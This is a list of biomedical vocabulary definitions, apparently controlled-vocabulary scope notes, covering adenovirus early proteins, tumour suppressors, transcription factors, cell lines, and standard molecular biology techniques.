Proteins transcribed from the E1A genome region of ADENOVIRUSES which are involved in positive regulation of transcription of the early genes of host infection.
Species of the genus MASTADENOVIRUS, causing a wide range of diseases in humans. Infections are mostly asymptomatic, but can be associated with diseases of the respiratory, ocular, and gastrointestinal systems. Serotypes (named with Arabic numbers) have been grouped into species designated Human adenovirus A-F.
Proteins transcribed from the E4 region of ADENOVIRUSES. The E4 19K protein transactivates transcription of the adenovirus E2F protein and complexes with it.
Proteins transcribed from the E1B region of ADENOVIRUSES which are involved in regulation of the levels of early and late viral gene expression.
Proteins encoded by adenoviruses that are synthesized prior to, and in the absence of, viral DNA replication. The proteins are involved in both positive and negative regulation of expression in viral and cellular genes, and also affect the stability of viral mRNA. Some are also involved in oncogenic transformation.
Proteins transcribed from the E3 region of ADENOVIRUSES but not essential for viral replication. The E3 19K protein mediates adenovirus persistence by reducing the expression of class I major histocompatibility complex antigens on the surface of infected cells.
A family of non-enveloped viruses infecting mammals (MASTADENOVIRUS) and birds (AVIADENOVIRUS) or both (ATADENOVIRUS). Infections may be asymptomatic or result in a variety of diseases.
Respiratory and conjunctival infections caused by 33 identified serotypes of human adenoviruses.
Proteins transcribed from the E2 region of ADENOVIRUSES. Several of these are required for viral DNA replication.
Virus diseases caused by the ADENOVIRIDAE.
The very first viral gene products synthesized after cells are infected with adenovirus. The E1 region of the genome has been divided into two major transcriptional units, E1A and E1B, each expressing proteins of the same name (ADENOVIRUS E1A PROTEINS and ADENOVIRUS E1B PROTEINS).
Products of viral oncogenes, most commonly retroviral oncogenes. They usually have transforming and often protein kinase activities.
A calcium-binding protein that is 92 AA long, contains 2 EF-hand domains, and is concentrated mainly in GLIAL CELLS. Elevation of S100B levels in brain tissue correlates with a role in neurological disorders.
The first continuously cultured human malignant CELL LINE, derived from the cervical carcinoma of Henrietta Lacks. These cells are used for VIRUS CULTIVATION and antitumor drug screening assays.
DNA molecules capable of autonomous replication within a host cell and into which other DNA sequences can be inserted and thus amplified. Many are derived from PLASMIDS; BACTERIOPHAGES; or VIRUSES. They are used for transporting foreign genes into recipient cells. Genetic vectors possess a functional replicator site and contain GENETIC MARKERS to facilitate their selective recognition.
Descriptions of specific amino acid, carbohydrate, or nucleotide sequences which have appeared in the published literature and/or are deposited in and maintained by databanks such as GENBANK, European Molecular Biology Laboratory (EMBL), National Biomedical Research Foundation (NBRF), or other sequence repositories.
Established cell cultures that have the potential to propagate indefinitely.
The sequence of PURINES and PYRIMIDINES in nucleic acids and polynucleotides. It is also called nucleotide sequence.
The biosynthesis of RNA carried out on a template of DNA. The biosynthesis of DNA from an RNA template is called REVERSE TRANSCRIPTION.
A genus of ADENOVIRIDAE that infects MAMMALS including humans and causes a wide range of diseases. The type species is Human adenovirus C (see ADENOVIRUSES, HUMAN).
Species of the genus MASTADENOVIRUS that causes fever, edema, vomiting, and diarrhea in dogs and encephalitis in foxes. Epizootics have also been caused in bears, wolves, coyotes, and skunks. The official species name is Canine adenovirus and it contains two serotypes.
Proteins which bind to DNA. The family includes proteins which bind to both double- and single-stranded DNA and also includes specific DNA binding proteins in serum which can be used as markers for malignant diseases.
Endogenous substances, usually proteins, which are effective in the initiation, stimulation, or termination of the genetic transcription process.
The functional hereditary units of VIRUSES.
Deoxyribonucleic acid that makes up the genetic material of viruses.
DNA sequences which are recognized (directly or indirectly) and bound by a DNA-dependent RNA polymerase during the initiation of transcription. Highly conserved sequences within the promoter include the Pribnow box in bacteria and the TATA BOX in eukaryotes.
An inheritable change in cells manifested by changes in cell division and growth and alterations in cell surface properties. It is induced by infection with a transforming virus.
The order of amino acids as they occur in a polypeptide chain. This is referred to as the primary structure of proteins. It is of fundamental importance in determining PROTEIN CONFORMATION.
Proteins found in any species of virus.
The uptake of naked or purified DNA by CELLS, usually meaning the process as it occurs in eukaryotic cells. It is analogous to bacterial transformation (TRANSFORMATION, BACTERIAL) and both are routinely employed in GENE TRANSFER TECHNIQUES.
A member of the p300-CBP transcription factors that was originally identified as a binding partner for ADENOVIRUS E1A PROTEINS.
Any of the processes by which cytoplasmic factors influence the differential control of gene action in viruses.
An AT-hook motif-containing protein (AT-HOOK MOTIFS) that binds to the minor grove of AT-rich regions of DNA. It is a truncated form of HMGA1a protein that is produced by alternative-splicing of the HMGA1 gene. It may function as an architectural chromatin binding protein that is involved in transcriptional regulation.
The process of intracellular viral multiplication, consisting of the synthesis of PROTEINS; NUCLEIC ACIDS; and sometimes LIPIDS, and their assembly into a new infectious particle.
A family of highly acidic calcium-binding proteins found in large concentration in the brain and believed to be glial in origin. They are also found in other organs in the body. They have in common the EF-hand motif (EF HAND MOTIFS) found on a number of calcium binding proteins. The name of this family derives from the property of being soluble in a 100% saturated ammonium sulfate solution.
Proteins found in the nucleus of a cell. Do not confuse with NUCLEOPROTEINS which are proteins conjugated with nucleic acids, that are not necessarily present in the nucleus.
Product of the retinoblastoma tumor suppressor gene. It is a nuclear phosphoprotein hypothesized to normally act as an inhibitor of cell proliferation. Rb protein is absent in retinoblastoma cell lines. It also has been shown to form complexes with the adenovirus E1A protein, the SV40 T antigen, and the human papilloma virus E7 protein.
Those proteins recognized by antibodies from serum of animals bearing tumors induced by viruses; these proteins are presumably coded for by the nucleic acids of the same viruses that caused the neoplastic transformation.
Any detectable and heritable change in the genetic material that causes a change in the GENOTYPE and which is transmitted to daughter cells and to succeeding generations.
A transcription factor that possesses DNA-binding and E2F-binding domains but lacks a transcriptional activation domain. It is a binding partner for E2F TRANSCRIPTION FACTORS and enhances the DNA binding and transactivation function of the DP-E2F complex.
Species of the genus MASTADENOVIRUS, causing neurological disease in pigs.
A genus of ADENOVIRIDAE that infects birds. The type species is FOWL ADENOVIRUS A.
A ubiquitously expressed regulatory protein that contains a retinoblastoma protein binding domain and an AT-rich interactive domain. The protein may play a role in recruiting HISTONE DEACETYLASES to the site of RETINOBLASTOMA PROTEIN-containing transcriptional repressor complexes.
The process in which substances, either endogenous or exogenous, bind to proteins, peptides, enzymes, protein precursors, or allied compounds. Specific protein-binding measures are often used as assays in diagnostic assessments.
Techniques and strategies which include the use of coding sequences and other conventional or radical means to transform or modify cells for the purpose of treating or reversing disease conditions.
Processes that stimulate the GENETIC TRANSCRIPTION of a gene or set of genes.
A family of basic helix-loop-helix transcription factors that control expression of a variety of GENES involved in CELL CYCLE regulation. E2F transcription factors typically form heterodimeric complexes with TRANSCRIPTION FACTOR DP1 or transcription factor DP2, and they have N-terminal DNA binding and dimerization domains. E2F transcription factors can act as mediators of transcriptional repression or transcriptional activation.
The type species of the genus AVIADENOVIRUS, family ADENOVIRIDAE, an oncogenic virus of birds. This is also called CELO virus for chick embryo lethal orphan virus.
Recombinant proteins produced by the GENETIC TRANSLATION of fused genes formed by the combination of NUCLEIC ACID REGULATORY SEQUENCES of one or more genes with the protein coding sequences of one or more genes.
Extrachromosomal, usually CIRCULAR DNA molecules that are self-replicating and transferable from one organism to another. They are found in a variety of bacterial, archaeal, fungal, algal, and plant species. They are used in GENETIC ENGINEERING as CLONING VECTORS.
Any of the processes by which nuclear, cytoplasmic, or intercellular factors influence the differential control (induction or repression) of gene action at the level of transcription or translation.
The introduction of functional (usually cloned) GENES into cells. A variety of techniques and naturally occurring processes are used for the gene transfer such as cell hybridization, LIPOSOMES or microcell-mediated gene transfer, ELECTROPORATION, chromosome-mediated gene transfer, TRANSFECTION, and GENETIC TRANSDUCTION. Gene transfer may result in genetically transformed cells and individual organisms.
RNA sequences that serve as templates for protein synthesis. Bacterial mRNAs are generally primary transcripts in that they do not require post-transcriptional processing. Eukaryotic mRNA is synthesized in the nucleus and must be exported to the cytoplasm for translation. Most eukaryotic mRNAs have a sequence of polyadenylic acid at the 3' end, referred to as the poly(A) tail. The function of this tail is not known for certain, but it may play a role in the export of mature mRNA from the nucleus as well as in helping stabilize some mRNA molecules by retarding their degradation in the cytoplasm.
The parts of a macromolecule that directly participate in its specific combination with another molecule.
Within a eukaryotic cell, a membrane-limited body which contains chromosomes and one or more nucleoli (CELL NUCLEOLUS). The nuclear membrane consists of a double unit-type membrane which is perforated by a number of pores; the outermost membrane is continuous with the ENDOPLASMIC RETICULUM. A cell may contain more than one nucleus. (From Singleton & Sainsbury, Dictionary of Microbiology and Molecular Biology, 2d ed)
Cells grown in vitro from neoplastic tissue. If they can be established as a TUMOR CELL LINE, they can be propagated in cell culture indefinitely.
Proteins that form the CAPSID of VIRUSES.
Diffusible gene products that act on homologous or heterologous molecules of viral or cellular DNA to regulate the expression of proteins.
Nuclear phosphoprotein encoded by the p53 gene (GENES, P53) whose normal function is to control CELL PROLIFERATION and APOPTOSIS. A mutant or absent p53 protein has been found in LEUKEMIA; OSTEOSARCOMA; LUNG CANCER; and COLORECTAL CANCER.
A genus of plant viruses of the family BROMOVIRIDAE, which infect cucurbits and solanaceous plants. Transmission occurs via aphids in a non-persistent manner, and also via seeds. The type species Cucumber mosaic virus, a CUCUMOVIRUS, should not be confused with Cucumber green mottle mosaic virus, a TOBAMOVIRUS.
Eukaryotic cell line obtained in a quiescent or stationary phase which undergoes conversion to a state of unregulated growth in culture, resembling an in vitro tumor. It occurs spontaneously or through interaction with viruses, oncogenes, radiation, or drugs/chemicals.
Ribonucleic acid that makes up the genetic material of viruses.
Cells propagated in vitro in special media conducive to their growth. Cultured cells are used to study developmental, morphologic, metabolic, physiologic, and genetic processes, among others.
A species of POLYOMAVIRUS originally isolated from Rhesus monkey kidney tissue. It produces malignancy in human and newborn hamster kidney cell cultures.
Specific molecular components of the cell capable of recognizing and interacting with a virus, and which, after binding it, are capable of generating some signal that initiates the chain of events leading to the biological response.
The phenotypic manifestation of a gene or genes by the processes of GENETIC TRANSCRIPTION and GENETIC TRANSLATION.
Cell changes manifested by escape from control mechanisms, increased growth potential, alterations in the cell surface, karyotypic abnormalities, morphological and biochemical deviations from the norm, and other attributes conferring the ability to invade, metastasize, and kill.
Use of attenuated VIRUSES as ANTINEOPLASTIC AGENTS to selectively kill CANCER cells.
Activating transcription factors were originally identified as DNA-BINDING PROTEINS that interact with early promoters from ADENOVIRUSES. They are a family of basic leucine zipper transcription factors that bind to the consensus site TGACGTCA of the cyclic AMP response element, and are closely related to CYCLIC AMP-RESPONSIVE DNA-BINDING PROTEIN.
The insertion of recombinant DNA molecules from prokaryotic and/or eukaryotic sources into a replicating vehicle, such as a plasmid or virus vector, and the introduction of the resultant hybrid molecules into recipient cells without altering the viability of those cells.
Polyomavirus antigens which cause infection and cellular transformation. The large T antigen is necessary for the initiation of viral DNA synthesis, repression of transcription of the early region and is responsible in conjunction with the middle T antigen for the transformation of primary cells. Small T antigen is necessary for the completion of the productive infection cycle.
Tumor-selective, replication competent VIRUSES that have antineoplastic effects. This is achieved by producing cytotoxicity-enhancing proteins and/or eliciting an antitumor immune response. They are genetically engineered so that they can replicate in CANCER cells but not in normal cells, and are used in ONCOLYTIC VIROTHERAPY.
One of the mechanisms by which CELL DEATH occurs (compare with NECROSIS and AUTOPHAGOCYTOSIS). Apoptosis is the mechanism responsible for the physiological deletion of cells and appears to be intrinsically programmed. It is characterized by distinctive morphologic changes in the nucleus and cytoplasm, chromatin cleavage at regularly spaced sites, and the endonucleolytic cleavage of genomic DNA; (DNA FRAGMENTATION); at internucleosomal sites. This mode of cell death serves as a balance to mitosis in regulating the size of animal tissues and in mediating pathologic processes associated with tumor growth.
Proteins prepared by recombinant DNA technology.
The process by which a DNA molecule is duplicated.
Simultaneous inflammation of the cornea and conjunctiva.
The transfer of bacterial DNA by phages from an infected bacterium to another bacterium. This also refers to the transfer of genes into eukaryotic cells by viruses. This naturally occurring process is routinely employed as a GENE TRANSFER TECHNIQUE.
Transport proteins that carry specific substances in the blood or across cell membranes.
Proteins which maintain the transcriptional quiescence of specific GENES or OPERONS. Classical repressor proteins are DNA-binding proteins that are normally bound to the OPERATOR REGION of an operon, or the ENHANCER SEQUENCES of a gene until a signal occurs that causes their release.
A negative regulator of the CELL CYCLE that undergoes PHOSPHORYLATION by CYCLIN-DEPENDENT KINASES. It contains a conserved pocket region that binds E2F4 TRANSCRIPTION FACTOR and interacts with viral ONCOPROTEINS such as POLYOMAVIRUS TUMOR ANTIGENS; ADENOVIRUS E1A PROTEINS; and PAPILLOMAVIRUS E7 PROTEINS.
A member of the p300-CBP transcription factor family that was initially identified as a binding partner for CAMP RESPONSE ELEMENT-BINDING PROTEIN. Mutations in CREB-binding protein are associated with RUBINSTEIN-TAYBI SYNDROME.
Proteins that control the CELL DIVISION CYCLE. This family of proteins includes a wide variety of classes, including CYCLIN-DEPENDENT KINASES, mitogen-activated kinases, CYCLINS, and PHOSPHOPROTEIN PHOSPHATASES as well as their putative substrates such as chromatin-associated proteins, CYTOSKELETAL PROTEINS, and TRANSCRIPTION FACTORS.
An enzyme that catalyzes the acetylation of chloramphenicol to yield chloramphenicol 3-acetate. Since chloramphenicol 3-acetate does not bind to bacterial ribosomes and is not an inhibitor of peptidyltransferase, the enzyme is responsible for the naturally occurring chloramphenicol resistance in bacteria. The enzyme, for which variants are known, is found in both gram-negative and gram-positive bacteria. EC
A sequence of successive nucleotide triplets that are read as CODONS specifying AMINO ACIDS and begin with an INITIATOR CODON and end with a stop codon (CODON, TERMINATOR).
ONCOGENE PROTEINS from papillomavirus that deregulate the CELL CYCLE of infected cells and lead to NEOPLASTIC CELL TRANSFORMATION. Papillomavirus E7 proteins have been shown to interact with various regulators of the cell cycle including RETINOBLASTOMA PROTEIN and certain cyclin-dependent kinase inhibitors.
Proteins encoded by a VIRAL GENOME that are produced in the organisms they infect, but not packaged into the VIRUS PARTICLES. Some of these proteins may play roles within the infected cell during VIRUS REPLICATION or act in regulation of virus replication or VIRUS ASSEMBLY.
An E2F transcription factor that interacts directly with RETINOBLASTOMA PROTEIN and CYCLIN A and activates GENETIC TRANSCRIPTION required for CELL CYCLE entry and DNA synthesis. E2F1 is involved in DNA REPAIR and APOPTOSIS.
Genes whose gain-of-function alterations lead to NEOPLASTIC CELL TRANSFORMATION. They include, for example, genes for activators or stimulators of CELL PROLIFERATION such as growth factors, growth factor receptors, protein kinases, signal transducers, nuclear phosphoproteins, and transcription factors. A prefix of "v-" before oncogene symbols indicates oncogenes captured and transmitted by RETROVIRUSES; the prefix "c-" before the gene symbol of an oncogene indicates it is the cellular homolog (PROTO-ONCOGENES) of a v-oncogene.
This line KB is now known to be a subline of the ubiquitous KERATIN-forming tumor cell line HeLa. It was originally thought to be derived from an epidermal carcinoma of the mouth, but was subsequently found, based on isoenzyme analysis, HeLa marker chromosomes, and DNA fingerprinting, to have been established via contamination by HELA CELLS. The cells are positive for keratin by immunoperoxidase staining. KB cells have been reported to contain human papillomavirus18 (HPV-18) sequences.
Serologic tests in which a positive reaction manifested by visible CHEMICAL PRECIPITATION occurs when a soluble ANTIGEN reacts with its precipitins, i.e., ANTIBODIES that can form a precipitate.
A deoxyribonucleotide polymer that is the primary genetic material of all cells. Eukaryotic and prokaryotic organisms normally contain DNA in a double-stranded state, yet several important biological processes transiently involve single-stranded regions. DNA, which consists of a polysugar-phosphate backbone possessing projections of purines (adenine and guanine) and pyrimidines (thymine and cytosine), forms a double helix that is held together by hydrogen bonds between these purines and pyrimidines (adenine to thymine and guanine to cytosine).
Inflammation, often mild, of the conjunctiva caused by a variety of viral agents. Conjunctival involvement may be part of a systemic infection.
The degree of similarity between sequences of amino acids. This information is useful for the analyzing genetic relatedness of proteins and species.
Cis-acting DNA sequences which can increase transcription of genes. Enhancers can usually function in either orientation and at various distances from a promoter.
The complex series of phenomena, occurring between the end of one CELL DIVISION and the end of the next, by which cellular material is duplicated and then divided between two daughter cells. The cell cycle includes INTERPHASE, which includes G0 PHASE; G1 PHASE; S PHASE; and G2 PHASE, and CELL DIVISION PHASE.
Identification of proteins or peptides that have been electrophoretically separated by blot transferring from the electrophoresis gel to strips of nitrocellulose paper, followed by labeling with antibody probes.
Factors which enhance the growth potentialities of sensory and sympathetic nerve cells.
Products of proto-oncogenes. Normally they do not have oncogenic or transforming properties, but are involved in the regulation or differentiation of cell growth. They often have protein kinase activity.
A cell line derived from cultured tumor cells.
Short sequences (generally about 10 base pairs) of DNA that are complementary to sequences of messenger RNA and allow reverse transcriptases to start copying the adjacent sequences of mRNA. Primers are used extensively in genetic and molecular biology techniques.
In vitro method for producing large amounts of specific DNA or RNA fragments of defined length and sequence from small amounts of short oligonucleotide flanking sequences (primers). The essential steps include thermal denaturation of the double-stranded target molecules, annealing of the primers to their complementary sequences, and extension of the annealed primers by enzymatic synthesis with DNA polymerase. The reaction is efficient, specific, and extremely sensitive. Uses for the reaction include disease diagnosis, detection of difficult-to-isolate pathogens, mutation analysis, genetic testing, DNA sequencing, and analyzing evolutionary relationships.
Vaccines used to prevent infection by any virus from the family ADENOVIRIDAE.
A conserved A-T rich sequence which is contained in promoters for RNA polymerase II. The segment is seven base pairs long and the nucleotides most commonly found are TATAAAA.
The sum of the weight of all the atoms in a molecule.
A genus of the family PARVOVIRIDAE, subfamily PARVOVIRINAE, which are dependent on a coinfection with helper adenoviruses or herpesviruses for their efficient replication. The type species is Adeno-associated virus 2.
The outer protein protective shell of a virus, which protects the viral nucleic acid.
A subfamily in the family MURIDAE, comprising the hamsters. Four of the more common genera are Cricetus, CRICETULUS; MESOCRICETUS; and PHODOPUS.
A species of CERCOPITHECUS containing three subspecies: C. tantalus, C. pygerythrus, and C. sabeus. They are found in the forests and savannah of Africa. The African green monkey (C. pygerythrus) is the natural host of SIMIAN IMMUNODEFICIENCY VIRUS and is used in AIDS research.
A category of nucleic acid sequences that function as units of heredity and which code for the basic instructions for the development, reproduction, and maintenance of organisms.
A sequence of amino acids in a polypeptide or of nucleotides in DNA or RNA that is similar across multiple species. A known set of conserved sequences is represented by a CONSENSUS SEQUENCE. AMINO ACID MOTIFS are often composed of conserved sequences.
The arrangement of two or more amino acid or base sequences from an organism or organisms in such a way as to align areas of the sequences sharing common properties. The degree of relatedness or homology between the sequences is predicted computationally or statistically based on weights assigned to the elements aligned between the sequences. This in turn can serve as a potential indicator of the genetic relatedness between the organisms.
A phosphoprotein phosphatase subtype that is comprised of a catalytic subunit and two different regulatory subunits. At least two genes encode isoforms of the protein phosphatase catalytic subunit, while several isoforms of regulatory subunits exist due to the presence of multiple genes and the alternative splicing of their mRNAs. Protein phosphatase 2 acts on a broad variety of cellular proteins and may play a role as a regulator of intracellular signaling processes.
Enzymes catalyzing the transfer of an acetyl group, usually from acetyl coenzyme A, to another compound. EC 2.3.1.
The introduction of a phosphoryl group into a compound through the formation of an ester bond between the compound and a phosphorus moiety.
The fission of a CELL. It includes CYTOKINESIS, when the CYTOPLASM of a cell is divided, and CELL NUCLEUS DIVISION.
A negative regulatory effect on physiological processes at the molecular, cellular, or systemic level. At the molecular level, the major regulatory sites include membrane receptors, genes (GENE EXPRESSION REGULATION), mRNAs (RNA, MESSENGER), and proteins.
Connective tissue cells which secrete an extracellular matrix rich in collagen and other macromolecules.
Genes that are introduced into an organism using GENE TRANSFER TECHNIQUES.
Biochemical identification of mutational changes in a nucleotide sequence.
A general transcription factor that plays a major role in the activation of eukaryotic genes transcribed by RNA POLYMERASES. It binds specifically to the TATA BOX promoter element, which lies close to the position of transcription initiation in RNA transcribed by RNA POLYMERASE II. Although considered a principal component of TRANSCRIPTION FACTOR TFIID it also takes part in general transcription factor complexes involved in RNA POLYMERASE I and RNA POLYMERASE III transcription.
Biologically active DNA which has been formed by the in vitro joining of segments of DNA from different sources. It includes the recombination joint or edge of a heteroduplex region where two recombining DNA molecules are connected.
Genes whose expression is easily detectable and therefore used to study promoter activity at many positions in a target genome. In recombinant DNA technology, these genes may be attached to a promoter region of interest.
The level of protein structure in which combinations of secondary protein structures (alpha helices, beta sheets, loop regions, and motifs) pack together to form folded shapes called domains. Disulfide bridges between cysteines in two different parts of the polypeptide chain along with other interactions between the chains play a role in the formation and stabilization of tertiary structure. Small proteins usually consist of only one domain but larger proteins may contain a number of domains connected by segments of polypeptide chain which lack regular secondary structure.
Cell lines whose original growing procedure consisted being transferred (T) every 3 days and plated at 300,000 cells per plate (J Cell Biol 17:299-313, 1963). Lines have been developed using several different strains of mice. Tissues are usually fibroblasts derived from mouse embryos but other types and sources have been developed as well. The 3T3 lines are valuable in vitro host systems for oncogenic virus transformation studies, since 3T3 cells possess a high sensitivity to CONTACT INHIBITION.
The rate dynamics in chemical or physical systems.
The major sequence-specific DNA-binding component involved in the activation of transcription of RNA POLYMERASE II. It was originally described as a complex of TATA-BOX BINDING PROTEIN and TATA-BINDING PROTEIN ASSOCIATED FACTORS. It is now know that TATA BOX BINDING PROTEIN-LIKE PROTEINS may take the place of TATA-box binding protein in the complex.
A large family of regulatory proteins that function as accessory subunits to a variety of CYCLIN-DEPENDENT KINASES. They generally function as ENZYME ACTIVATORS that drive the CELL CYCLE through transitions between phases. A subset of cyclins may also function as transcriptional regulators.
Visible morphologic changes in cells infected with viruses. It includes shutdown of cellular RNA and protein synthesis, cell fusion, release of lysosomal enzymes, changes in cell membrane permeability, diffuse changes in intracellular structures, presence of viral inclusion bodies, and chromosomal aberrations. It excludes malignant transformation, which is CELL TRANSFORMATION, VIRAL. Viral cytopathogenic effects provide a valuable method for identifying and classifying the infecting viruses.
Viruses which enable defective viruses to replicate or to form a protein coat by complementing the missing gene function of the defective (satellite) virus. Helper and satellite may be of the same or different genus.
Tumor suppressor genes located on human chromosome 13 in the region 13q14 and coding for a family of phosphoproteins with molecular weights ranging from 104 kDa to 115 kDa. One copy of the wild-type Rb gene is necessary for normal retinal development. Loss or inactivation of both alleles at this locus results in retinoblastoma.
Head to tail array of covalently joined DNA sequences generated by concatenation. Concatenated DNA is attached end to end in contrast to CATENATED DNA which is attached loop to loop.
The part of a cell that contains the CYTOSOL and small structures excluding the CELL NUCLEUS; MITOCHONDRIA; and large VACUOLES. (Glick, Glossary of Biochemistry and Molecular Biology, 1990)
Viruses which lack a complete genome so that they cannot completely replicate or cannot form a protein coat. Some are host-dependent defectives, meaning they can replicate only in cell systems which provide the particular genetic function which they lack. Others, called SATELLITE VIRUSES, are able to replicate only when their genetic defect is complemented by a helper virus.
The relationship between the chemical structure of a compound and its biological or pharmacological activity. Compounds are often classed together because they have structural characteristics in common including shape, size, stereochemical arrangement, and distribution of functional groups.
Use of restriction endonucleases to analyze and generate a physical map of genomes, genes, or other segments of DNA.
Body organ that filters blood for the secretion of URINE and that regulates ion concentrations.
Synthetic or natural oligonucleotides used in hybridization studies in order to identify and study specific nucleic acid fragments, e.g., DNA segments near or within a specific gene locus or gene. The probe hybridizes with a specific mRNA, if present. Conventional techniques used for testing for the hybridization product include dot blot assays, Southern blot assays, and DNA:RNA hybrid-specific antibody tests. Conventional labels for the probe include the radioisotope labels 32P and 125I and the chemical label biotin.
Mutant mice homozygous for the recessive gene "nude" which fail to develop a thymus. They are useful in tumor studies and studies on immune responses.
The complete genetic complement contained in a DNA or RNA molecule in a virus.
DNA viruses producing malignant tumors. Of the six major groupings of DNA viruses four contain members which are actually or potentially oncogenic: the Adenoviridae, the Herpesviridae, the Papovaviridae, and the Poxviridae.
Proteins which are found in membranes including cellular and intracellular membranes. They consist of two types, peripheral and integral proteins. They include most membrane-associated enzymes, antigenic proteins, transport proteins, and drug, hormone, and lectin receptors.
Compounds and molecular complexes that consist of very large numbers of atoms and are generally over 500 kDa in size. In biological systems macromolecular substances usually can be visualized using ELECTRON MICROSCOPY and are distinguished from ORGANELLES by the lack of a membrane structure.
The biosynthesis of PEPTIDES and PROTEINS on RIBOSOMES, directed by MESSENGER RNA, via TRANSFER RNA that is charged with standard proteinogenic AMINO ACIDS.
Single-stranded complementary DNA synthesized from an RNA template by the action of RNA-dependent DNA polymerase. cDNA (i.e., complementary DNA, not circular DNA, not C-DNA) is used in a variety of molecular cloning experiments as well as serving as a specific hybridization probe.
Deletion of sequences of nucleic acids from the genetic material of an individual.
CELL LINES derived from the CV-1 cell line by transformation with a replication origin defective mutant of SV40 VIRUS, which codes for wild type large T antigen (ANTIGENS, POLYOMAVIRUS TRANSFORMING). They are used for transfection and cloning. (The CV-1 cell line was derived from the kidney of an adult male African green monkey (CERCOPITHECUS AETHIOPS).)
A group of enzymes that catalyzes the hydrolysis of terminal, non-reducing beta-D-galactose residues in beta-galactosides. Deficiency of beta-Galactosidase A1 may cause GANGLIOSIDOSIS, GM1.
The ultimate exclusion of nonsense sequences or intervening sequences (introns) before the final RNA transcript is sent to the cytoplasm.
Proteins that are normally involved in holding cellular growth in check. Deficiencies or abnormalities in these proteins may lead to unregulated cell growth and tumor development.
Genetically engineered MUTAGENESIS at a specific site in the DNA molecule that introduces a base substitution, or an insertion or deletion.
A test used to determine whether or not complementation (compensation in the form of dominance) will occur in a cell with a given mutant phenotype when another mutant genome, encoding the same mutant phenotype, is introduced into that cell.
Actual loss of portion of a chromosome.
Electrophoresis in which a polyacrylamide gel is used as the diffusion medium.
Complexes containing CHLOROPHYLL and other photosensitive molecules. They serve to capture energy in the form of PHOTONS and are generally found as components of the PHOTOSYSTEM I PROTEIN COMPLEX or the PHOTOSYSTEM II PROTEIN COMPLEX.
A genus of the family PICORNAVIRIDAE whose members preferentially inhabit the intestinal tract of a variety of hosts. The genus contains many species. Newly described members of human enteroviruses are assigned continuous numbers with the species designated "human enterovirus".
Elements of limited time intervals, contributing to particular results or situations.
A family of inhibitory proteins which bind to the REL PROTO-ONCOGENE PROTEINS and modulate their activity. In the CYTOPLASM, I-kappa B proteins bind to the transcription factor NF-KAPPA B. Cell stimulation causes its dissociation and translocation of active NF-kappa B to the nucleus.
Structures that are part of or contained in the CELL NUCLEUS.
A family of histone acetyltransferases that is structurally-related to CREB-BINDING PROTEIN and to E1A-ASSOCIATED P300 PROTEIN. They function as transcriptional coactivators by bridging between DNA-binding TRANSCRIPTION FACTORS and the basal transcription machinery. They also modify transcription factors and CHROMATIN through ACETYLATION.
A subclass of enzymes which includes all dehydrogenases acting on primary and secondary alcohols as well as hemiacetals. They are further classified according to the acceptor which can be NAD+ or NADP+ (subclass 1.1.1), cytochrome (1.1.2), oxygen (1.1.3), quinone (1.1.5), or another acceptor (1.1.99).
Test for tissue antigen using either a direct method, by conjugation of antibody with fluorescent dye (FLUORESCENT ANTIBODY TECHNIQUE, DIRECT) or an indirect method, by formation of antigen-antibody complex which is then labeled with fluorescein-conjugated anti-immunoglobulin antibody (FLUORESCENT ANTIBODY TECHNIQUE, INDIRECT). The tissue is then examined by fluorescence microscopy.
Process of generating a genetic MUTATION. It may occur spontaneously or be induced by MUTAGENS.
Production of new arrangements of DNA by various mechanisms such as assortment and segregation, CROSSING OVER; GENE CONVERSION; GENETIC TRANSFORMATION; GENETIC CONJUGATION; GENETIC TRANSDUCTION; or mixed infection of viruses.
An E2F transcription factor that interacts directly with RETINOBLASTOMA PROTEIN and CYCLIN A. E2F2 activates GENETIC TRANSCRIPTION required for CELL CYCLE entry and DNA synthesis.
A group of deoxyribonucleotides (up to 12) in which the phosphate residues of each deoxyribonucleotide act as bridges in forming diester linkages between the deoxyribose moieties.
Sequences of DNA or RNA that occur in multiple copies. There are several types: INTERSPERSED REPETITIVE SEQUENCES are copies of transposable elements (DNA TRANSPOSABLE ELEMENTS or RETROELEMENTS) dispersed throughout the genome. TERMINAL REPEAT SEQUENCES flank both ends of another sequence, for example, the long terminal repeats (LTRs) on RETROVIRUSES. Variations may be direct repeats, those occurring in the same direction, or inverted repeats, those opposite to each other in direction. TANDEM REPEAT SEQUENCES are copies which lie adjacent to each other, direct or inverted (INVERTED REPEAT SEQUENCES).
A genetic rearrangement through loss of segments of DNA or RNA, bringing sequences which are normally separated into close proximity. This deletion may be detected using cytogenetic techniques and can also be inferred from the phenotype, indicating a deletion at one specific locus.
The intracellular transfer of information (biological activation/inhibition) through a signal pathway. In each signal transduction system, an activation/inhibition signal from a biologically active molecule (hormone, neurotransmitter) is mediated via the coupling of a receptor/enzyme to a second messenger system or to an ion channel. Signal transduction plays an important role in activating cellular functions, cell differentiation, and cell proliferation. Examples of signal transduction systems are the GAMMA-AMINOBUTYRIC ACID-postsynaptic receptor-calcium ion channel system, the receptor-mediated T-cell activation pathway, and the receptor-mediated activation of phospholipases. Those coupled to membrane depolarization or intracellular release of calcium include the receptor-mediated activation of cytotoxic functions in granulocytes and the synaptic potentiation of protein kinase activation. Some signal transduction pathways may be part of larger signal transduction pathways; for example, protein kinase activation is part of the platelet activation signal pathway.
A class of closely related heterogeneous-nuclear ribonucleoproteins of approximately 34-40 kDa in size. Although they are generally found in the nucleoplasm, they also shuttle between the nucleus and the cytoplasm. Members of this class have been found to have a role in mRNA transport, telomere biogenesis and RNA SPLICING.
Cellular DNA-binding proteins encoded by the c-jun genes (GENES, JUN). They are involved in growth-related transcriptional control. There appear to be three distinct functions: dimerization (with c-fos), DNA-binding, and transcriptional activation. Oncogenic transformation can take place by constitutive expression of c-jun.
A genus of ADENOVIRIDAE that comprises viruses of several species of MAMMALS and BIRDS. The type species is Ovine adenovirus D.
Ubiquitous, inducible, nuclear transcriptional activator that binds to enhancer elements in many different cell types and is activated by pathogenic stimuli. The NF-kappa B complex is a heterodimer composed of two DNA-binding subunits: NF-kappa B1 and relA.
A DNA-dependent RNA polymerase present in bacterial, plant, and animal cells. It functions in the nucleoplasmic structure and transcribes DNA into RNA. It has different requirements for cations and salt than RNA polymerase I and is strongly inhibited by alpha-amanitin. EC
The sequential correspondence of nucleotides in one nucleic acid molecule with those of another nucleic acid molecule. Sequence homology is an indication of the genetic relatedness of different organisms and gene function.
Enzymes that oxidize certain LUMINESCENT AGENTS to emit light (PHYSICAL LUMINESCENCE). The luciferases from different organisms have evolved differently so have different structures and substrates.
